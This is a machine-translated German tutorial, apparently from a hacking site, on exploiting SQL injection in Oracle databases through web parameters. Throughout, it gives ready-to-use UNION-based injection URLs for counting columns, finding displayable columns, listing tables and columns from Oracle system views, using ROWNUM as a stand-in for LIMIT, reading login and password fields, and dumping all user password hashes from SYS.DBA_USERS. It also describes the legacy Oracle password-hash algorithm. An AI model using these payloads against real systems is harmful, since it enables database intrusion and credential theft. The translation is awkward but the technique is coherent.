This page has been robot translated, sorry for typos if any. Original content here.

SQL-Injektion in Oracle



  • [Einleitung]
  • [Eigenschaften von Oracle]
  • [Auswahl der Spalten]
  • [Definition von druckbaren Spalten]
  • [Informationen erhalten]
  • [Tabellen und Spalten]
  • [Passwörter]
  • [Informationen erhalten]



  • [Einleitung]


    Als ich kürzlich verschiedene Web-Projekte zu Schwachstellen durchforschte, stieß ich auf eine SQL-Injektion in Oracle. Obwohl es derzeit selten ist, dieses DBMS in der Web-Programmierung zu verwenden, passiert es trotzdem. Die ganze Forschung endete mit einer einfachen Entdeckung von Fehlern, was sonst noch zu tun war, war unverständlich. Bei der Suche nach einem Artikel, der die praktischen Aspekte der Ausnutzung dieser Schwachstelle in Oracle beschreibt, wie die Artikel Cash und Spyder, die Injektionen in MSSQL und PostgreSQL beschreiben, wurde sie nicht gefunden.
    Als Ergebnis der Suche wurde nur eine Reihe von Artikeln k00p3r gefunden, und vollständig aus externen Quellen kopiert und eine einfache Übersetzung, deren Lektüre keine klare Vorstellung von Wangenknochen in Oracle zu halten, weil Gegenstände haben tatsächlich ein großes Volumen, sind theoretischer Natur und enthalten größtenteils Wasser.
    Am Ende musste ich mich an die institutionellen Fähigkeiten erinnern, mit Oracle zu arbeiten und eine Reihe verstreuter Informationen im Internet neu zu lesen. In diesem Artikel möchte ich mit Ihnen die Tatsache teilen, dass ich es geschafft habe, die Implementierung von SQL Injection in Oracle auszugraben und zu versuchen, es zu einem zu kombinieren.
    Nun, versuchen Sie, die Lücke zu füllen, und fügen Sie eine Reihe von Artikeln Bargeld und Spyder hinzu.

    [Eigenschaften von Oracle]


    Zunächst gebe ich einige Eigenschaften an, die beim Injizieren in Oracle berücksichtigt werden müssen. Sofort möchte ich einen Vorbehalt machen, dass in den Artikel Injektionen in der SELECT-Anweisung berücksichtigt werden. Es ist jedoch auch eine Injektion in INSERT-, UPDATE- und DELETE-Operatoren möglich.
    Ebenso wichtig ist die Tatsache, dass der Artikel sich mit Einfügungsproblemen in Oracle-SQL-Abfragen und nicht mit den PL / SQL-Prozeduren von Oracle befasst. Ein signifikanter Unterschied zwischen den Injektionen in PL / SQL-Prozeduren besteht in der Möglichkeit, das Abfragetrennzeichen - ein Semikolonzeichen ";" - zu verwenden. Aber darüber ist es notwendig, einen getrennten Artikel mit einer Beschreibung aller Folgen zu schreiben. Außerdem glaubt der Autor, dass in Web-Anwendungen Injektionen am häufigsten in SQL-Abfragen vorkommen (zumindest habe ich nur solche gefunden).
    In Oracle, wie auch in MySQL und PostgreSQL, wird die Injektion unter Verwendung des UNION-Operators durchgeführt, d.h. mit der Zusammensetzung der Kombination von zwei Abfragen (im Folgenden wird der Begriff - Unterabfrage wird zur Vereinfachung des Verständnisses verwendet). Neben der Übereinstimmung der Anzahl der Spalten in der Hauptabfrage und der Unterabfrage ist jedoch zu beachten, dass Oracle Typen in einer Unterabfrage nicht automatisch umwandelt. Daher müssen Sie bei der Auswahl von Spalten im Gegensatz beispielsweise von MySQL auf null setzen.
    Eine sehr wichtige Eigenschaft ist auch, dass alle SELECT-Abfragen aus einer Tabelle, d. Die Abfragesyntax muss immer das Wort FROM und den Namen der Tabelle enthalten. Für einfache arithmetische Berechnungen oder andere Operationen, die keine reelle Tabelle benötigen, gibt es in Oracle eine Pseudo-Tabelle SYS.DUAL.
    Ein wichtiges Merkmal ist das Fehlen des LIMIT-Operators.
    Zum Abschneiden der Abfrage werden die Kommentarzeichen "-" (zwei Bindestriche) und "/ *" (ein gerader Schrägstrich und ein Sternchen) in Oracle SQL verwendet. Der erste Kommentartyp ist einzeilig. Der zweite Typ ist mehrzeilig.
    Im Gegensatz zu PL / SQL-Routinen gibt es keine Möglichkeit, mehrere SQL-Abfragen mit dem Trennzeichen ";" zu verwenden.
    Wenn ein Fehler entdeckt wird, können Sie Oracle eindeutig identifizieren, indem Sie das Wort ORA im Text der Fehlermeldung angeben, z.

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Das Wort Oracle steht beispielsweise nicht immer im Text des Fehlers

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Auswahl der Spalten]


    Lassen Sie den Fehler im ID-Parameter vorhanden sein:

    www.site.com/view.php?id=1'
    Die Definition der Anzahl der Spalten in der Hauptabfrage ist dieselbe wie in MySQL. Da der UNION-Operator sowohl in der Hauptabfrage als auch in der Unterabfrage die gleiche Anzahl von Spalten benötigt, müssen wir die Anzahl dieser Spalten bestimmen. Wenn Sie die Spalten in der Unterabfrage falsch angeben, wird eine Standardfehlermeldung angezeigt:

    ORA-XXXXX: query block has incorrect number of result columns
    Für die Auswahl von Spalten gibt es 2 bekannte Methoden und in dem Artikel Spyder gut beschrieben. Aber ich bringe sie wieder, damit der Leser nicht die Artikel durchläuft:

    1. Eine einfache Suche.
    Nehmen Sie die folgende Abfrage vor

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Wenn der Fehler auftritt, erhöhen Sie die Anzahl der Spalten um eins
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    und so weiter, bis der Fehler verschwindet.

    2. Verwenden der ORDER BY-Klausel
    Der zweite Weg ist viel schneller und angenehmer, wenn die Anzahl der Spalten groß genug ist. Nehmen Sie die folgende Abfrage vor

    www.site.com/view.php?id=-1+order+by+1--
    Wenn es keinen Fehler gibt, dann Spalten 1 oder mehr 1

    www.site.com/view.php?id=-1+order+by+99999--
    Bei einer solchen Abfrage sollte ein Fehler auftreten, was bedeutet, dass die Spalten kleiner als 99999 sind. Dann werden die Grenzen des ausgewählten Intervalls auf die gleiche Weise nach links und rechts eingegrenzt und schließlich die tatsächliche Anzahl der Spalten in der Hauptabfrage bestimmt.

    [Definition von druckbaren Spalten]


    Nehmen wir an, wir haben die genaue Anzahl der Spalten in der Hauptabfrage bestimmt, sagen wir 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Jetzt müssen wir die Spalten definieren, die auf der Seite angezeigt werden. In der Regel nehmen Spalten mit den Datentypen int, char und data an der Ausgabe teil. Wir werden genug druckbare Spalten mit den Typen int und char haben, und wir werden nach ihnen suchen.
    Wie bereits erwähnt, werden von Oracle in einer Unterabfrage keine Typen automatisch umgewandelt. Wenn wir versuchen, eine Spalte für Werte eines unpassenden Typs zu ersetzen, erhalten wir daher den folgenden Typenkonfliktfehler

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Als nächstes fangen wir an, Abfragen zu erstellen und jede Spalte abwechselnd durch eine beliebige Zahl zu ersetzen

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Daher werden druckbare Spalten vom Typ int identifiziert. Wenn in diesem Fall ein Tippfehlerfehler auftritt, können wir die Konvertierungsfunktionen to_char (), to_date () verwenden und druckbare Spalten mit char- und Datentypen identifizieren.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Als Referenz dient hier die Syntax der Funktion to_char ():
    to_char (Wert, [format_mask], [nls_language])

    [Informationen erhalten]


    Nachdem wir die Anzahl der Spalten erfahren haben und welche von ihnen druckbar sind, können wir sicher fortfahren, die notwendigen Informationen von der Datenbank zu erhalten. Nun, wenn wir bestimmte Tabellen in der Datenbank und deren Spalten kennen, ist es nicht schwer, Informationen zu bekommen. Wenn beispielsweise eine USERS-Tabelle mit ID-, LOGIN- und PASSWORD-Spalten vorhanden ist, sieht die Anforderung für diese Daten wie folgt aus

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Wie in MySQL, ist es für die Bequemlichkeit der Anzeige und die Überwindung verschiedener Probleme mit den Kodierungen möglich, die Funktionen concat (), to_char () zu verwenden.
    Um das Filtern von Anführungszeichen oder anderen notwendigen Zeichen zu umgehen, gibt es eine chr () -Funktion.

    [Tabellen und Spalten]


    Wenn uns die Benutzertabellen nicht bekannt sind, können wir verschiedene Informationen aus den bekannten Oracle-Systemtabellen erhalten.
    Um den Namen des Benutzers herauszufinden, unter dem die Schnittstelle funktioniert, also Sie, können Sie den Benutzer oder sys.login_user aufrufen

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Sie können eine Liste von Sitzungen wie folgt erhalten: Wählen Sie * aus V $ Sitzung

    Von großem Interesse sind die Tabellen SYS.USER_TABLES und SYS.USER_TAB_COLUMNS, die alle für den Benutzer verfügbaren Tabellen und deren Spalten enthalten. Wir ziehen die Namen der Tabellen und Spalten heraus:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Außerdem sind meiner Meinung nach in der Tabelle SYS.USER_TABLES neben table_name folgende Spalten von Interesse: tablespace_name, num_rows, freelist_groups.
    Aber leider führen die obigen Anfragen zu nur einem - dem ersten Datensatz aus der gesamten Tabelle. Es gibt einen unwiderstehlichen Wunsch, den LIMIT-Operator entweder in MySQL oder in PostgreSQL zu verwenden. Zur großen Enttäuschung wird dieser Operator in Oracle nicht unterstützt und hat außerdem kein wertvolles Äquivalent in Form eines anderen Operators.
    "Alles war verloren !!!" - werden Sie sagen.
    "NEIN !!!" - Ich werde dir antworten.
    Nachdem ich so ziemlich gefoltert hatte, fand ich immer noch die Möglichkeit, eine komplexe Anfrage zu stellen, obwohl ich irgendwie die semantische Last des LIMIT-Operators erkannte. Leider war es nicht möglich, seine vollen Fähigkeiten wiederherzustellen.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Durch Scannen einer anderen Anzahl von Datensätzen im Beispiel können wir alle Namen der Tabellen nacheinander betrachten. Dasselbe Design kann häufiger beim Anzeigen der Tabelle SYS.USER_TAB_COLUMNS verwendet werden, wenn alle Spaltennamen für den Benutzer verfügbar sind.
    Auch in Oracle gibt es das Konzept eines Objektpräfixes (die Tabelle ist ein Objekt), das im Namen oder Namen der Tabelle vorhanden ist:
    ALL_ - alles verfügbar für den Benutzer (der Besitzer darf nicht sein),
    USER_ - Objekte, deren Besitzer dieser Benutzer ist.
    Daher können wir die Aufgabe vereinfachen und die Namen nur derjenigen Tabellen herausziehen, auf die wir Zugriff haben

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Auch die Informationen aus den folgenden Auswahllisten können von Interesse sein: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Passwörter]


    Wenn wir Glück haben und der Benutzer, mit dem wir mit der Datenbank arbeiten, über sysdba-Rechte verfügt, können wir Hashes aller Datenbankbenutzer erhalten.
    Der Hauptspeicherort der Faltung des Passworts (Hash) ist die Tabelle des Wörterbuchverzeichnisses SYS.USER $. Über dieser Tabelle wird das Derivat als Basis, SYS.DBA_USERS, konstruiert. Wenn PASSWORD_REUSE_TIME im Benutzerprofil aktiviert ist, wird die Kennwortkonvolution auch in SYS.USER_HISTORY $ gespeichert. Sie können Hashes und Benutzernamen wie folgt erhalten

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Für die Vollständigkeit der Informationen werde ich auch einen Algorithmus zur Berechnung der Faltung des Passworts vorstellen, nur für den Fall, dass jemand sich als nützlich erweist:
    1. Der Text des Passwortes ist auf den Benutzernamen rechts aufgeklebt.
    2. In der resultierenden Zeile werden die Buchstaben inkrementiert.
    3. Die Zeichenfolgen werden in ein Zwei-Byte-Format konvertiert, indem der Nullwert 0x00 (für ASCII-Zeichen) links hinzugefügt wird und die Zeile rechts von null Byte an eine Gesamtlänge von 80 angehängt wird.
    4. Die resultierende Zeichenfolge wird durch den DES-Algorithmus im Modus der Kopplung von Chiffretextblöcken (CBC) mit dem Schlüssel 0x0123456789ABCDEF verschlüsselt.
    5. Aus dem letzten Ergebnisblock werden die Paritätsbits gelöscht und die empfangene Zeichenfolge (56 Bits) wird verwendet, um die ursprüngliche Zeichenfolge auf die gleiche Weise neu zu verschlüsseln.
    6. Der letzte Block des Ergebnisses wird in die Zeichen der hexadezimalen Arithmetik übersetzt und zum Endergebnis-Faltung erklärt.